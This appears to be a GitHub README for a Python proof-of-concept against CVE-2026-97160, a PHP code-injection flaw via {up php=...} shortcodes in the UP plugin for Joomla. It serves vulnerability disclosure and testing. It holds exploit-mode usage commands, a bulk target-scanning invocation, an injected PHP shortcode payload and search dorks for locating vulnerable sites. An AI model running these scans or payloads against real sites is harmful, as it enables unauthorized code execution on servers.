murrez/cve-2026-97160Python PoC for CVE-2026-97160: detects vulnerable Joomla UP plugin versions and verifies PHP code execution via {up php=} shortcode in public articles.
Python 3 PoC for CVE-2026-97160 — UP (Universal Plugin) for Joomla (lomart.fr / up.lomart.fr).
CVE-2026-97160 — UP plugin 5.0.0–5.2.0 and 6.0.0–6.0.29 allow PHP code injection through {up php=...} shortcodes processed with eval() (CWE-94). CNA classifies this as authenticated / high privilege; before 6.1.0 / 5.2.1, article authors could bypass reserved-action checks via save vs render name normalization, so PHP in an article ran for every visitor. CVSS 4.0 9.4 Critical. Fix: UP 6.1.0 (Joomla 5.2+) or 5.2.1 (Joomla 3.10–5.1).
Related (same release): CVE-2026-97161 (file read / traversal), CVE-2026-97162 (SQLi), CVE-2026-97163 (GitHub mini-install).
PoC page: https://pocbit.org/pocs/cve-2026-97160
Catalog: https://pocbit.org/pocs/
| Product | UP plugin for Joomla (plg_content_up) |
| Path | plugins/content/up/ |
| Affected | 5.0.0–5.2.0, 6.0.0–6.0.29 |
| Fixed | 5.2.1, 6.1.0 |
| Vector | Article/module shortcode {up php=...} |
| Assigner | Joomla CNA |
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10
Lab: As admin (or author on vulnerable builds), add to article body:
{up php=echo 'POCBIT-97160-OK';}
Publish, then run --mode exploit --article-url <public URL>.
body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"
CVE-2026-97160 PoC: Joomla UP (lomart.fr) ≤6.0.29 / ≤5.2.0 — privileged {up php=} shortcode eval code injection (author bypass on older builds). PoCbit
CVE-2026-97160: Joomla UP eklentisinde {up php=...} ile sunucuda PHP çalıştırma; 6.1.0 / 5.2.1 ile düzeltildi.
Authorized testing only. Do not publish malicious shortcodes on sites you do not own.